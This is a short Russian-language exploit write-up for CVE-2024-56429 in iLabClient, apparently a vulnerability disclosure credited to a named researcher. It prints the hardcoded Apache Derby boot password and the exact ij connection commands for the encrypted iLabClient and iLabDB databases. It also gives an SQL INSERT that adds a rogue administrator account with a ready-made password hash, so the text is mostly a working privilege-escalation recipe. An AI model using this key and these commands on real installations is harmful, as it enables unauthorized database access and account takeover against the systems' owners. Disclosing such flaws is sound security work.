
Эксплойт для CVE-2024-56429, демонстрирующий извлечение пароля загрузки базы данных Apache Derby из исходного кода iLabClient, что позволяет подключиться к локальной базе данных и повысить привилегии через манипуляцию пользователями.
Доступ к локальной базе данных iLabClient
iLabClient использует базу данных Apache Derby для хранения локально необходимых данных. Для обеспечения шифрования при создании используется bootPassword, который можно извлечь из исходного кода (извлеченный код находится в DecyptedBootPassword.java). После выполнения извлеченного исходного кода пользователь получает bootPassword.
jdbc:derby:iLabClient;dataEncryption=true;bootPassword=YngAYdgAE/kKZYu2F2wm6w==
При первом запуске iLabClient создаются две локальные базы данных iLabCLient и iLabDB. Для подключения к этим базам данных можно использовать инструмент ij из Apache Derby, Скачать.
Запуск ij:
"C:\ilabClient\java8u422\bin\java.exe" -jar "...\db-derby-10.14.2.0-lib\lib\derbyrun.jar" ij
"C:\ilabClient\java8u422\bin\java.exe": Установленная и используемая версия Java из iLabClient
"...\db-derby-10.14.2.0-lib\lib\derbyrun.jar": Библиотека Apache Derby
Подключение к базе данных:
cd "C:\ilabClient\db
connect 'jdbc:derby:iLabClient;dataEncryption=true;bootPassword=YngAYdgAE/kKZYu2F2wm6w==';
connect 'jdbc:derby:iLabDB;dataEncryption=true;bootPassword=YngAYdgAE/kKZYu2F2wm6w==';
После установки соединения данные можно читать и изменять. Например, добавив другого пользователя с большими правами.
insert into users (USERID, BENUTZER, NAME, PARAMS, HASH) values (4, 'admin2', 'Administrator', '111111111111111111', 'SHA-256:B6382EC801B1BBD5C464C6A5F9C8CFFDC603A7D3A4916B1F50BD592678E8380B');
Необходимый хэш можно создать с помощью класса GenerateUserData.java.
Обнаружитель: Лиза Ульбрих (Lufthansa Industry Solutions AS GmbH)